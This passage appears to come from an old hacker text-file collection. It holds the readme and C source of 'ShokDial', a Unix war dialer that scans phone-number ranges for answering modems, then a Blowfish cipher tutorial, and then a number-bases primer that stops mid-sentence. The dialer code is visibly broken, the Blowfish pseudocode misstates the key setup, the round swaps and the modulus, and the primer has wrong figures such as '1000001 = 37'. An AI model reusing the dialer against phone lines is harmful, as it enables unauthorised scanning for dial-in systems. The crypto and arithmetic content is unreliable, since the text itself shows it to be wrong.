will only return *** CONNECT *** if it was a modem. It will both output to the screen and logfile *** CONNECT *** to 1-xxx-xxx-xxxx. You can use local or long distance, although international numbers haven't been added at this time (not hard to do just didn't care to add an extra scanf and an extra CountryCode variable ;) About ShokDial (it's temp name for now) --------------------------------------- This supports random scanning (pseudorandom to be honest, heh) and sequential (the range you specified and up) scanning. You can give it a range too but that still does under sequential scanning. To use random scanning use 'shokdial -r', otherwise it will by default use sequential scanning. For the other options type 'shokdial -h'. You want to keep track of the version because I'd almsot guarntee this program is going to continue changing. I need to add some ncurses GUI effects (heh) and a function to resume scanning for those of you who are too lazy to even look at the (by default) wardialer.log and get the last number it dialed (assuming you used sequential scanning) and entering that as the Scan number to begin on! It will output to wardialer.log and on to the screen. If you have BEEP = WANTBEEP in the Makefile, it will beep when it connects to a host. That's about all I really have to say about it. I don't actually use war dialers (really), so I haven't actually tested this (sorry if there are any problems but there shouldn't be)....if you do however find a problem, please let me know! I will fix it and send out a patched version.....you can get all of them from ftp.janova.org or www.janova.org. Enjoy ;) Shok To Do: - Add a resume function - Any good ideas/features that should me added? Mail me at shok@sekurity.org if you think of something useful (don't mention a GUI or anything though anyway). ------------- Makefile: ------------ CC = gcc #CC = cc CFLAGS = #CFLAGS = -g BEEP = WANTBEEP #BEEP = NOWANTBEEP #--------------------------------- all: shokdial shokdial: shokdial.c errors.c validate.c $(CC) $(CFLAGS) -D$(BEEP) -o shokdial shokdial.c errors.c validate.c ---------- shokdial.c ---------- /* ShokDial */ /* This is (I have never seen one anyway, I apologize if I'm wrong) */ /* the first war dialer that I've ever seen for unix. This will */ /* compile on most/all unixs' (I didn't use any spiffy or complex */ /* functions). */ /* Enjoy, */ /* --==+*~(Shok)~*+==-- */ #include <termios.h> #include <stdio.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <errno.h> #include <fcntl.h> #include <ctype.h> #include <signal.h> #define ERROR -1 #define LOGFILE "wardial.log" /* Used as default for logging */ /* unless you change this define */ /* or specify it as an option */ #define TIMEOUT 25 /* YOU WANT TO CONFIGURE THIS!!! */ /* This is how long it will wait until it */ /* gives up. */ /* You can do: */ /* ln -s /dev/cua1 /dev/modem */ /* or change this to /dev/cua1 (or whatever your COM is) */ /* cua0 = COM1 cua1 = COM2 */ #define MODEMPORT "/dev/cua1" /* Same as above..... */ /* ttyS0 = COM1 ttyS1 = COM2 */ #define HANGUPPORT "/dev/ttyS1" /* Global variables */ /* ---------------- */ int fd; /* fd for modem */ int numbytes; /* To verify that all the bytes were written */ int random; /* Use random scanning if this is set */ char *ProgName; /* Um duh. */ char LocalOrLong[2]; /* Dialing long distance of local */ int First3Digits; /* Such as "555" of 555-XXXX */ /* However this also serves as the area code */ /* for a long distance number */ int Last3Digits; /* Used as XXX-555-XXXX */ int ScanMin; /* Number to scan from....like 0000 and up */ int ScanMax; /* Stop scanning when this number is reached */ char *LogFile; /* Where to log connections */ char buf[512]; /* Buffer for strings returned by modem */ FILE *logfile; /* for the log file */ /* FILE *resume; */ /* To resume scanning where left off */ struct termios options; /* Baud rate, modes, etc. */ /* Function prototypes */ /* ------------------- */ void usage(void); /* Help/usage */ void version(void); /* Display version */ void intro(void); /* An introduction */ void get_num(void); /* Get phone number and scan prefix */ void get_scannum(void); /* Get range to scan */ void open_port(void); /* Open modem port for dialing */ void set_options(void); /* Set baud rate, termios, etc. */ void init_modem(void); /* Initialize the modem */ void dial_number(void); /* Dial the number */ void hangup(void); /* Hang up modem. */ void sighandler(int signum); /* Used when signals are received */ /* Check read/write/opens for errors */ void check_for_error(int fd, int num, char *s); /* Check if the phone num was valid */ void local_validnum(int digits); void long_validnum(int firstdigits, int lastdigits); void main(int argc, char **argv) { struct sigaction sig, sigdef; system("clear"); /* ------------------------------------------------- */ ProgName = argv[0]; if (argc == 2) { if ((strcasecmp(argv[1], "-r")) == 0) random = 1; else if ((strcasecmp(argv[1], "-h")) == 0) usage(); else if ((strcasecmp(argv[1], "-help")) == 0) usage(); else if ((strcasecmp(argv[1], "--help")) == 0) usage(); else if ((strcasecmp(argv[1], "-v")) == 0) version(); else if ((strcasecmp(argv[1], "--version")) == 0) version(); else LogFile=argv[1]; } else if (argc == 3) { if ((strcasecmp(argv[1], "-r")) == 0) { random = 1; LogFile=argv[2]; } else usage(); } else if (argc > 3) usage(); else { fprintf(stderr, "No log file specified....using %s as log file.\n", LOGFILE); fprintf(stderr, "-r (random scanning) option not given, using sequential scanning instead.\n"); LogFile=LOGFILE; } /* -------------------------------------------------- */ sleep(4); system("clear"); /* Clear the screen */ /* -------------------------------------------------- */ sig.sa_handler = sighandler; sigdef.sa_handler = SIG_IGN; sigemptyset (&sig.sa_mask); sig.sa_flags = 0; sigaction(SIGHUP, NULL, &sigdef); sigaction(SIGINT, &sig, NULL); sigaction(SIGTERM, &sig, NULL); /* -------------------------------------------------- */ logfile=fopen(LogFile, "a"); /* resume=fopen(".resume", "w"); */ intro(); if (random != 1) { get_num(); /* Get the phone number */ get_scannum; /* Get the range to scan */ } open_port(); /* Open MODEMPORT (by default /dev/cua1) */ set_options; /* Set baud rate, terminal modes, etc. */ init_modem(); /* Send the modem ATZ etc.. */ dial_number(); /* Dial the number/do the scanning */ hangup(); /* Disconnect */ close(fd); } /* -------------------------------------------------- */ void version(void) { fprintf(stderr, "This is ShokDial, v1.0...please keep notice of this.\n"); fprintf(stderr, "in case this program under goes some new features etc.\n"); fprintf(stderr, "\t\t--==+*~(Shok)~*+==--\n"); exit(0); } /* -------------------------------------------------- */ void usage(void) { fprintf(stderr, "Usage: %s [options] [logfile]\n", ProgName); fprintf(stderr, "Options:\n"); fprintf(stderr, "-r for random (as opposed to sequential) scanning\n"); fprintf(stderr, "-h for help....what you're seeing now"); fprintf(stderr, "-v for the version...because this will probably undergo changes\n\n"); fprintf(stderr, "If no log file is specified, \"%s\" is used.\n", LOGFILE); exit(0); } /* -------------------------------------------------- */ void intro(void) { printf("Shok's war dialer for UNIX (affectionately known as ShokDial).....\n"); printf("------------------------------------------------------------------\n"); printf("This is still in the beta version so it doesn't have a nice\n"); printf("graphical interface yet.\n"); printf("\nWell what you do here, is enter 0000 for the range to begin\n"); printf("scanning and 9999 to end scanning if you want to scan all the\n"); printf("possible ranges, but you can put 4444 for the nmber to start\n"); printf("and 5555 for the number to begin to scan XXX-[4444-5555] for\n"); printf("local numbers and it would be 1-XXX-XXX-[4444-5555] for long\n"); printf("distance.\n"); printf("\nAlso, you can use random scanning (as opposed to sequential\n"); printf("scanning) by specifying the \"-r\" option...type:\n"); printf("%s -h for help.\n\n", ProgName); printf("Anyway..enjoy!\n"); printf("\t\t\t--==+*~(Shok)~*+==--\n\n"); printf("Hit any key to continue.\n"); getchar(); } /* -------------------------------------------------- */ void get_num(void) { printf("Scanning..\n(L)ocal, Long (D)istance\n"); scanf("%2s", &LocalOrLong); if((strncasecmp(LocalOrLong, "L", 1)) == 0) { printf("Enter number to dial (753 for 753-XXXX): "); scanf("%d", &First3Digits); local_validnum(First3Digits); } else if ((strncasecmp(LocalOrLong, "D", 1)) == 0) { printf("Enter number to dial (555555 for 555-555-XXXX): "); scanf("%3d%3d", &First3Digits, &Last3Digits); long_validnum(First3Digits, Last3Digits); } else { fprintf(stderr, "You must specify L for local or D for Long Distance\n"); exit(ERROR); } } /* -------------------------------------------------- */ void get_scannum(void) { printf("Enter number to start scanning at: "); scanf("%4d", &ScanMin); putchar('\n'); if ((ScanMin >= 0) && (ScanMin <= 9999)) { /* Do nothing */ } else { fprintf(stderr, "%d is invalid.\nScanning range must be 0000-9999\n", ScanMin); exit(ERROR); } printf("Enter number to end scanning: "); scanf("%4d", &ScanMax); putchar('\n'); if ((ScanMax > ScanMin) && (ScanMax > 0) && (ScanMax <= 9999)) { /* Do nothing */ } else { fprintf(stderr, "%d is invalid.\nScanning range must be 0000-9999\n", ScanMax); exit(ERROR); } } /* -------------------------------------------------- */ void open_port(void) { printf("Opening modem for dialing...\n"); fd = open(MODEMPORT, O_RDWR | O_NOCTTY | O_NDELAY); if (fd == ERROR) { perror("open"); exit(ERROR); } } /* -------------------------------------------------- */ void set_options(void) { tcgetattr(fd, &options); options.c_cflag |= (CLOCAL | CREAD); options.c_cflag &= ~PARENB; options.c_cflag &= ~CSTOPB; options.c_cflag &= ~CSIZE; options.c_cflag |= CS8; options.c_iflag |= (INPCK | ISTRIP); options.c_lflag &= ~(ICANON | ECHO | ISIG); options.c_oflag &= ~OPOST; cfsetispeed(&options, B115200); cfsetospeed(&options, B115200); tcsetattr(fd, TCSANOW, &options); } /* -------------------------------------------------- */ void init_modem(void) { printf("Initializing modem (port %s)....\n", MODEMPORT); /* Hang up modem if it's already on */ hangup(); numbytes=write(fd, "ATZ\r", 4); check_for_error(fd, numbytes, "write"); sleep(3); } /* -------------------------------------------------- */ void dial_number(void) { char phonenum[20]; /* If local: phonenum = First3Digits + ScanMin */ /* If long distance: phonenum = */ /* First3Digits + Last3Digits + ScanMin */ char phonenum1[20]; /* Same as above except this has "\r" as well */ char connectmsg[50]; /* the message to the log file */ printf("Giving a %s second connection timeout", TIMEOUT); if ((strncasecmp(LocalOrLong, "L", 1)) == 0) { /* Local call */ while (1) { if (random == 1) ScanMin = (rand() % 8889) + 1111; strcat(phonenum, (char *)First3Digits); strcat(phonenum, (char *)ScanMin); strcpy(phonenum1, (char *)phonenum); strcat(phonenum1, "\r"); if (random != 1) { printf("Dialing %d-%d.\n", First3Digits, ScanMin); numbytes = write(fd, phonenum1, strlen(phonenum1)); check_for_error(fd, numbytes, "write"); } else { /* if random == 1 */ printf("Dialing %d-%d.\n", First3Digits, ScanMin); numbytes = write(fd, phonenum1, strlen(phonenum1)); check_for_error(fd, numbytes, "write"); } sleep(TIMEOUT); /* How long to wait for timeout */ numbytes = read(fd, buf, 511); check_for_error(fd, numbytes, "read"); /* Compare the string with "CONNECT" */ if((strncmp(buf, "CONNECT", 7)) == 0) { #ifdef WANTBEEP fputc('\a', stderr); #endif fprintf(stderr, "*** CONNECT *** to %d-%d\n", First3Digits, ScanMin); /* Log it */ sprintf(connectmsg, "*** CONNECT *** to %d-%d\n", First3Digits, ScanMin); fputs(connectmsg, logfile); bzero(connectmsg, 50); /* Clear the message */ } bzero(buf, 512); /* Reset buffer */ hangup(); if (random != 1) { /* Increase ScanMin so it scans for the next number */ ScanMin += 1; if (ScanMin > ScanMax) { fputc('\a', stderr); fprintf(stderr, "ALL DONE SCANNING....THANKS FOR USING\n"); exit(0); } } bzero(phonenum, 20); /* Clear the phone number */ bzero(phonenum1, 20); /* Ditto */ } /* End of while loop */ } /* End of if */ else { /* if LocalOrLong == "D" (Long Distance call) */ while(1) { if (random == 1) ScanMin = (rand() % 8889) + 1111; strcat(phonenum, "1"); strcat(phonenum, (char *)First3Digits); /* Area Code */ strcat(phonenum, (char *)Last3Digits); /* 1-XXX-555-XXXX */ strcat(phonenum, (char *)ScanMin); /* 1-XXX-XXX-0000 */ strcpy(phonenum1, (char *)phonenum); /* Copy it to another */ strcat(phonenum1, "\r"); /* buf to append "\r" to it */ if (random != 1) { printf("Dialing 1-%d-%d-%d.\n", First3Digits, Last3Digits, ScanMin); numbytes = write(fd, phonenum1, strlen(phonenum1)); check_for_error(fd, numbytes, "write"); } else { /* if random == 1 */ printf("Dialing 1-%d-%d-%d.\n", First3Digits, Last3Digits, ScanMin); numbytes = write(fd, phonenum1, strlen(phonenum1)); check_for_error(fd, numbytes, "write"); } sleep(TIMEOUT); /* How long to wait for timeout */ numbytes = read(fd, buf, 511); check_for_error(fd, numbytes, "read"); /* Compare the string with "CONNECT" */ if((strncmp(buf, "CONNECT", 7)) == 0) { fputc('\a', stderr); fprintf(stderr, "*** CONNECT *** to 1-%d-%d-%d\n", First3Digits, Last3Digits, ScanMin); /* Log it */ sprintf(connectmsg, "*** CONNECT *** to 1-%d-%d-%d\n", First3Digits, Last3Digits, ScanMin); fputs(connectmsg, logfile); bzero(connectmsg, 50); /* Clear the message */ } bzero(buf, 512); /* Reset buffer */ hangup(); if (random != 1) { /* Increase ScanMin so it scans for the next number */ ScanMin += 1; if (ScanMin > ScanMax) { fputc('\a', stderr); fprintf(stderr, "ALL DONE SCANNING....THANKS FOR USING\n"); break; } } bzero(phonenum, 20); /* Clear the phone number */ bzero(phonenum1, 20); /* Ditto */ } /* End of while loop */ } /* End of if/else loop */ fclose(logfile); } /* End of dial_num */ void hangup(void) { /* After testing put this in the init_modem() section */ /* for optimize it. */ int fd1; /* fd for modem (hang up) */ fd1=open(HANGUPPORT, O_RDWR | O_NOCTTY | O_NDELAY); if (fd1 == ERROR) { perror("open"); close(fd1); close(fd); exit(ERROR); } numbytes=write(fd1, "+++\r", 4); check_for_error(fd1, numbytes, "write"); sleep(1); numbytes=write(fd1, "ATH\r", 4); check_for_error(fd1, numbytes, "write"); sleep(3); /* Should/will check for "OK */ close(fd1); } void sighandler(int signum) { char message[50]; fprintf(stderr, "Receive signal to quit....closing up modem, logging last number dialed,\nand exitting\n"); if (random != 1) fprintf(stderr, "Last number dialed was: "); if((strncasecmp(LocalOrLong, "L", 1)) == 0) { if (random != 1) { sprintf(message, "%d-%d\n", First3Digits, Last3Digits); fprintf(stderr, message); fprintf(logfile, message); /* fprintf(resume, "%d%d\n", First3Digits, Last3Digits); */ } } else { /* if LocalOrLong == "D" */ if (random != 1) { sprintf(message, "1-%d-%d-%d\n", First3Digits, Last3Digits, ScanMin); fprintf(stderr, message); fprintf(logfile, message); /* fprintf(resume, "1%d%d%d\n", First3Digits, Last3Digits, ScanMin); */ } } /* hangup(); */ close(fd); /* fclose(resume); */ fclose(logfile); exit(ERROR); } /* void resume(void) { } */ ----------- validate.c ----------- /* Functions: */ /* local_validnum */ /* long_validnum */ #include <stdio.h> #include <unistd.h> #define ERROR -1 /* Check if it was a valid local number */ void local_validnum(int digits) { if ((digits > 111) && (999 > digits)) { /* Do nothing */ } else { fprintf(stderr, "%d is invalid.\nThe number must be 111-999\n", digits); exit(ERROR); } } void long_validnum(int firstdigits, int lastdigits) { if (((firstdigits > 111) && (firstdigits < 999)) && ((lastdigits > 111) && (lastdigits < 999))) { /* Do nothing */ } else { fprintf(stderr, "%d%d is invalid.\nThe number must 111111-999999\n", firstdigits, lastdigits); exit(1); } } --------- errors.c --------- /* Functions: */ /* check_for_error */ #include <unistd.h> #include <stdio.h> #define ERROR -1 void check_for_error(int fd, int num, char *s) { if (num == ERROR) { fprintf(stderr, "Error: Unable to %s all the bytes.\n", s); hangup(); close(fd); exit(ERROR); } } ═────────────────────────────────────────────────────────────────────────────═ The Blowfish Algorithm: A Look Under The Hood by The Messiah Contents * Introduction * Key Setup * Encryption * Decryption * Review * Test Vectors INTRODUCTION: The Blowfish encryption algorithm is one of the most well-known encryption algorithms in the public domain. It was written by noted cryptologist Bruce Schneier, and placed in the public domain in 1994. It uses a variable-size key (from 32 to 448 bits), has a 64-bit blocksize, and encrypts the plaintext 16 times, or "rounds." It is a symetric algorithm, meaning the key used to encrypt is the same key used to decrypt. It was designed to run best in software implementations, as opposed to DES, which was designed to run in hardware implementations. KEY SETUP: Blowfish has a complex key setup required before any encryption or decryption can be done. This is the most complicated part of the algorithm. P-array: The P array is an array of 18 32-bit entries- array[1..18] of LongInt; S-Boxes: There are 4 S-boxes, each with 256 32-bit entries- array[0..255] of LongInt; 1.) Initialize the P-array and S-boxes in order with the hexadecimal digits of Pi, starting from the .1 place. for i := 1 to 18 do Parray[i] := GetPiDigit(i); for i := 0 to 255 do SBox1[i] := GetPiDigit(i+19); for i := 0 to 255 do SBox2[i] := GetPiDigit(i+257); for i := 0 to 255 do SBox3[i] := GetPiDigit(i+513); for i := 0 to 255 do SBox4[i] := GetPiDigit(i+787); 2.) Cycle through the P-array, XORing the entry with a 32-bit value from the passphrase. Len : Byte; PassStr : String; password : array[1..14] of LongInt; Move(PassStr, password, Length(PassStr)); Len := Length(PassStr); if Len mod 4 <> 0 then Inc(Len); for i := 1 to Len do for j := i to Len do Parray[j] := Parray[j] xor password[j]; for i := Len downto 1 do for j := Len downto i do Parray[j] := Parray[j] xor password[j]; 3.) Encrypt an all-zero string wil the current S-boxes and replace P-array[1] and P-array[2] with the value. (See the encryption section for more info) zeros : TCipherBlock; zeros[0] := 0; zeros[1] := 0; zero := Encrypt(zero); Parray[1] := zeros[0]; Parray[2] := zeros[1]; 4.) Fill the rest of the P-array and S-boxes in order, using the output of the encrypted string, changing the string to the last encrypted one: i := 3; while i <> 18 do begin zero := Encrypt(zero); Parray[i] := zeros[0]; Parray[i+1] := zeros[1]; Inc(i,2); end; i := 0; while i <> 255 do begin zero := Encrypt(zero); SBox1[i] := zeros[0]; SBox1[i+1] := zeros[1]; Inc(i,2); end; and so on.... ENCRYPTION: Encryption is done with two parts- the main part, and the F function. 1.) The F function divides the left half of a cipherblock (a 32-bit value) into four values and encrypts them with the S-boxes. function F_Funct(Input : LongInt) : LongInt; var foo : array[0..3] of Byte; begin Move(Input, foo, 8); F_Funct := (SBox1[foo[0]] + SBox2[foo[1]] mod 232) xor SBox3[foo[2]]) + SBox4[foo[3]] mod 232; end; 2.) The main part encrypts a 64-bit long block (two LongInts): type TCipherBlock = array[0..1] of LongInt; function Encrypt(Input : TCipherBlock) : TCipherBlock; var I : Byte; bin, bash : LongInt; foo : TCipherBlock; begin foo := Input; for i := 1 to 16 do (* number of rounds *) begin foo[0] := foo[0] xor Parray[i]; foo[1] := F_Funct(foo[0]) xor foo[1]; bin := foo[0]; foo[1] := foo[0]; foo[0] := bin; bin := foo[0]; foo[1] := foo[0]; foo[0] := bin; foo[1] := foo[1] xor Parray[17]; foo[0] := foo[0] xor Parray[18]; end; Encrypt := foo; end; DECRYPTION: Decryption is the same as encryption, except it uses the P-array backwards. 1.) Decryption function: function Decrypt(Input : TCipherBlock) : TCipherBlock; var I : Byte; bin, bash : LongInt; foo : TCipherBlock; begin foo := Input; for i := 16 downto 1 do begin foo[0] := foo[0] xor Parray[i]; foo[1] := F_Funct(foo[0]) xor foo[1]; bin := foo[0]; foo[1] := foo[0]; foo[0] := bin; bin := foo[0]; foo[1] := foo[0]; foo[0] := bin; foo[1] := foo[1] xor Parray[18]; foo[0] := foo[0] xor Parray[17]; end; Decrypt := foo; end; REVIEW: Ahh, how I love being a critic. Blowfish is one of my favorite algorithms, simply because it has the largest key size, is VERY fast, and is public domain. It is relatively new, but so far all crypanalysis has found no real flaws. The only thing I know of is a slight weakness in 14-round variants of Blowfish, but most, if not all, implementations of Blowfish use the 16-round specs. Blowfish is simple, fairly easy to implement (the only hard part for me was finding all those digits of Pi), and VERY VERY fast. In a recent speed test using an optimized implementation of Blowfish, it used only 18 cycles per encrypted byte. Since it is one of the newer algorithms, it was designed with modern computing power in mind, unlike DES, which has fallen to brute force attacks. It's also in the public domain, unlike IDEA, so you may use it in a commercial application without having to pay royalties. I would use this over most other algorithms for communication (in CFB mode), or file storage, unless speed was the highest priority. TEST VECTORS: Should you be making your own implementation of Blowfish, here's Eric Young's test vectors- All data is shown as a hex string with 012345 loading as data[0]=0x01; data[1]=0x23; data[2]=0x45; ecb test data (taken from the DES validation tests) key bytes clear bytes cipher bytes 0000000000000000 0000000000000000 4EF997456198DD78 FFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFF 51866FD5B85ECB8A 3000000000000000 1000000000000001 7D856F9A613063F2 1111111111111111 1111111111111111 2466DD878B963C9D 0123456789ABCDEF 1111111111111111 61F9C3802281B096 1111111111111111 0123456789ABCDEF 7D0CC630AFDA1EC7 0000000000000000 0000000000000000 4EF997456198DD78 FEDCBA9876543210 0123456789ABCDEF 0ACEAB0FC6A0A28D 7CA110454A1A6E57 01A1D6D039776742 59C68245EB05282B 0131D9619DC1376E 5CD54CA83DEF57DA B1B8CC0B250F09A0 07A1133E4A0B2686 0248D43806F67172 1730E5778BEA1DA4 3849674C2602319E 51454B582DDF440A A25E7856CF2651EB 04B915BA43FEB5B6 42FD443059577FA2 353882B109CE8F1A 0113B970FD34F2CE 059B5E0851CF143A 48F4D0884C379918 0170F175468FB5E6 0756D8E0774761D2 432193B78951FC98 43297FAD38E373FE 762514B829BF486A 13F04154D69D1AE5 07A7137045DA2A16 3BDD119049372802 2EEDDA93FFD39C79 04689104C2FD3B2F 26955F6835AF609A D887E0393C2DA6E3 37D06BB516CB7546 164D5E404F275232 5F99D04F5B163969 1F08260D1AC2465E 6B056E18759F5CCA 4A057A3B24D3977B 584023641ABA6176 004BD6EF09176062 452031C1E4FADA8E 025816164629B007 480D39006EE762F2 7555AE39F59B87BD 49793EBC79B3258F 437540C8698F3CFA 53C55F9CB49FC019 4FB05E1515AB73A7 072D43A077075292 7A8E7BFA937E89A3 49E95D6D4CA229BF 02FE55778117F12A CF9C5D7A4986ADB5 018310DC409B26D6 1D9D5C5018F728C2 D1ABB290658BC778 1C587F1C13924FEF 305532286D6F295A 55CB3774D13EF201 0101010101010101 0123456789ABCDEF FA34EC4847B268B2 1F1F1F1F0E0E0E0E 0123456789ABCDEF A790795108EA3CAE E0FEE0FEF1FEF1FE 0123456789ABCDEF C39E072D9FAC631D 0000000000000000 FFFFFFFFFFFFFFFF 014933E0CDAFF6E4 FFFFFFFFFFFFFFFF 0000000000000000 F21E9A77B71C49BC 0123456789ABCDEF 0000000000000000 245946885754369A FEDCBA9876543210 FFFFFFFFFFFFFFFF 6B5C5A9C5D9E0A5A set_key test data data[8]= FEDCBA9876543210 c=F9AD597C49DB005E k[ 1]=F0 c=E91D21C1D961A6D6 k[ 2]=F0E1 c=E9C2B70A1BC65CF3 k[ 3]=F0E1D2 c=BE1E639408640F05 k[ 4]=F0E1D2C3 c=B39E44481BDB1E6E k[ 5]=F0E1D2C3B4 c=9457AA83B1928C0D k[ 6]=F0E1D2C3B4A5 c=8BB77032F960629D k[ 7]=F0E1D2C3B4A596 c=E87A244E2CC85E82 k[ 8]=F0E1D2C3B4A59687 c=15750E7A4F4EC577 k[ 9]=F0E1D2C3B4A5968778 c=122BA70B3AB64AE0 k[10]=F0E1D2C3B4A596877869 c=3A833C9AFFC537F6 k[11]=F0E1D2C3B4A5968778695A c=9409DA87A90F6BF2 k[12]=F0E1D2C3B4A5968778695A4B c=884F80625060B8B4 k[13]=F0E1D2C3B4A5968778695A4B3C c=1F85031C19E11968 k[14]=F0E1D2C3B4A5968778695A4B3C2D c=79D9373A714CA34F k[15]=F0E1D2C3B4A5968778695A4B3C2D1E c=93142887EE3BE15C k[16]=F0E1D2C3B4A5968778695A4B3C2D1E0F c=03429E838CE2D14B k[17]=F0E1D2C3B4A5968778695A4B3C2D1E0F00 c=A4299E27469FF67B k[18]=F0E1D2C3B4A5968778695A4B3C2D1E0F0011 c=AFD5AED1C1BC96A8 k[19]=F0E1D2C3B4A5968778695A4B3C2D1E0F001122 c=10851C0E3858DA9F k[20]=F0E1D2C3B4A5968778695A4B3C2D1E0F00112233 c=E6F51ED79B9DB21F k[21]=F0E1D2C3B4A5968778695A4B3C2D1E0F0011223344 c=64A6E14AFD36B46F k[22]=F0E1D2C3B4A5968778695A4B3C2D1E0F001122334455 c=80C7D7D45A5479AD k[23]=F0E1D2C3B4A5968778695A4B3C2D1E0F00112233445566 c=05044B62FA52D080 k[24]=F0E1D2C3B4A5968778695A4B3C2D1E0F0011223344556677 chaining mode test data key[16] = 0123456789ABCDEFF0E1D2C3B4A59687 iv[8] = FEDCBA9876543210 data[29] = "7654321 Now is the time for " (includes trailing '\0') data[29] = 37363534333231204E6F77206973207468652074696D6520666F722000 cbc cipher text cipher[32]= 6B77B4D63006DEE605B156E27403979358DEB9E7154616D959F1652BD5FF92CCE7 cfb64 cipher text cipher[29]= E73214A2822139CAF26ECF6D2EB9E76E3DA3DE04D1517200519D57A6C3 ofb64 cipher text cipher[29]= E73214A2822139CA62B343CC5B65587310DD908D0C241B2263C2CF80DA ═────────────────────────────────────────────────────────────────────────────═ Learning to Count All Over Again by Bronc Buster (ww.showdown.org) (bbuster@succeed.net) When I read 2600 I see a lot of the other readers are young people, and a lot of them are clueless about what makes this world go around. Well for anyone who's been to my site or talked to me, they know that I like to break down things into layman's terms. So anyone that might read what I write, will come away with an understanding of the subject rather then learning a ton of new acronyms and their eyes glazing over as they pass out. Well this article is going to focus on numbers and how to count with them among other things. I know what you're thinking, but read on, as I'm not talking about 1 + 1 = 2. I'm talking complex number systems using different bases of numbers and sometimes using letters instead of numbers. I'm talking about getting down to the computer level and why this is so important. Computers talk with numbers. Zeros, 0, and Ones, 1. Over time we have figured out ways to get them to understand Base 8, or Octal numbers, and Base 16 numbers, Hexadecimal, or HEX as it's more well known as, but they are still based on the 0 and the 1. Well let's start with the basics and move on from there. How do we count in Binary, with 0 and 1? Heck with only 2 numbers how are you going to make a number like 27? In Assembly classes they teach a column method to learn how to count and I like it, so I'll use it to. So here we go, I'll briefly go over the 3 different number systems, show you how to read them with a chart and what their bases are along with the number and symbols they use to function. Then I'll show you how they sign numbers to show positive and negative numbers, along with basic adding and subtracting. Then to wrap it up I'll tell you why it's very important for anyone in the hacking scene to understand these very basic operations and what usage it has (can you say Buffer Overflow?). Counting Binary ------------------ Binary is the basic low level 0 and 1, the only two things a computer can really understand. It's like and on and off switch, that's all it can do. So they came up with patterns of 0 and 1 that stood for other numbers so we could count and perform other operations all based on the power system for the number 2. Read 2^3 is 2 raised to the 3rd power, or 8, the top row of numbers. 16 8 4 2 1 2^4 | 2^3 | 2^2 | 2^1 | 2^0 ---------------------------------------- binary = base 10 0 = 0 0 = 0 1 = 1 1 = 1 1 0 = 2 10 = 2 1 1 = 3 1 1 = 3 1 0 0 = 4 1 0 0 = 4 1 0 1 = 5 1 0 1 = 5 1 1 0 = 6 1 1 0 = 6 1 1 1 = 7 1 1 1 = 7 1 0 0 0 = 8 1 0 0 0 = 8 1 0 0 1 = 9 1 0 0 1 = 9 1 0 1 0 = 10 1 0 1 0 = 10 As you see, it's simple enough after you get the patterns down, and if you notice, it's repeating. After going through the cycle, you add another 1 to the end and repeat the cycle for the new ending 1. It may take some time getting used to reading it, but after a few minutes you can pick it up pretty easily. Well this is all fine and dandy, now you can read binary, so lets move on to base 8, or octal. Counting Octal ------------------ Well since binary is base 2, and octal is base 8 we need a new set of numbers. Remember binary has 2 numbers, 0 and 1, octal therefore must have 8; 0,1,2,3,4,5,6,7. Much like binary we can make a column chart to read these numbers. 4096 512 64 8 1 8^4 | 8^3 | 8^2 | 8^1 | 8^0 ------------------------------------------- 0 = 0 1 = 1 2 = 2 3 = 3 4 = 4 5 = 5 6 = 6 7 = 7 1 0 = 8 1 1 = 9 1 2 = 10 1 1 6 = 78 Notice that the octal number are cubes of the binary numbers, sense 2^3 is 8. i.e. 64 = 8^2 or (2^3)^2. This come in handy when you can't remember a conversion or the number is really weird. As you may of guessed, or may not have, octal numbers use up 8 bits per number, because they are ultimately stored as zeros and ones. The number 7 in octal is just 7, but to store it it takes 8 bits, or 00000111. Counting Hexadecimal ----------------------- Hexadecimal, or HEX as it's better known, is base 16. Now as you gather from octal numbers, when you change bases you need a new set of numbers to count with. Base 16 has 16 numbers, like octal has 8 and binary has 2. They are:0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F. Why A-F instead of maybe something else? Well the letters A-F are well known and are in order, so for simplicity the makers of HEX used them. Like octal and binary we can use a column chart to count in HEX. 4096 256 16 1 16^3 | 16^2 | 16^1 | 16^0 ------------------------------------------- 0 = 0 1 = 1 2 = 2 3 = 3 4 = 4 5 = 5 6 = 6 7 = 7 8 = 8 9 = 9 A = 10 B = 11 C = 12 D = 13 E = 14 F = 15 1 0 = 16 1 1 = 17 1 E = 30 8 5 = 133 As you can see, HEX is a little more complicated and takes practice to get used to. Even when you can effectively understand the numbers, sometimes you still need a calculator or a program, like a HEX editor to read them because of their sizes and complexities. Quick Lesson on Conversions ------------------------------ I know that a natural question has to be if there is an easier way to convert between the bases, and luckily there is. I'll give a quick lesson, as it's pretty simple. binary numbers can be 1 bit, and octal numbers can be made up from 3 bits on binary. HEX, likewise, can be made from 4 bits of binary. It's easier to show: Lets say we have a number, 62, In binary it's: 0 1 1 1 1 1 0, and to convert to octal, we group it into 3 bit segments, from the right, and read it: 0 (1 1 1) (1 1 0). We can ignore the leading 0. So in octal we read it in binary, 1 1 1 = 7, and 1 1 0 = 6, so in octal it's 76. Let's use 62 again and find HEX. This time we group in 4s, from the right, like so: (0 1 1) (1 1 1 0), since the first term has only 3 terms we can add a leading 0, but it will not make any difference to the outcome. Read the groups, 0 1 1 = 3, and 1 1 1 0 = E, so in HEX it's 3E. 0 1 1 1 1 1 0 - Binary 0 ( 1 1 1 ) ( 1 1 0 ) - Octal ( 0 1 1 ) ( 1 1 1 0 ) - Hex If you're clever you can figure out how to convert from any of the 3 to any of the others with minimal effort. Signed Numbers ------------------ How do computers know if a number is positive or negative if all it sees is zeros and ones? Well for the purpose of this article I'll keep it simple and use binary, as octal and HEX can get very complex. Before we go any further I have to explain what complementary systems are as we are going to be using base complements to determine signs. A base complement is when you take the largest number in a numbering system and subtract from it. For example, say we are in normal everyday base 10, and we have the number 1267. If we want to find it's complement we would take the largest number in base 10s number system, a 9, and subtract each number from it. 9999 - 1267 ---------- 8732 So 8732 is the complement to 1267. Lets try binary. Since binary is base 2, then the largest number is 1. Say we have the number, 62 again, in binary, 0 1 1 1 1 1 0, let find it's compliment. 1111111 - 0111110 --------------- 1000001 = 37 So we see that 37, or 1 0 0 0 0 0 1, is the complement to 62, or 0 1 1 1 1 1 0. Using complements we can sign a number as negative or positive. How? Well all positive numbers will be in true form, like 62 will be 0 1 1 1 1 1 0, but if we had a negative 62, we would use it's complement, or 1 0 0 0 0 0 1. "Hold on" you say, "1 0 0 0 0 1 is 37!". Not anymore, as binary numbers use a signed bit, or the first bit to determine if 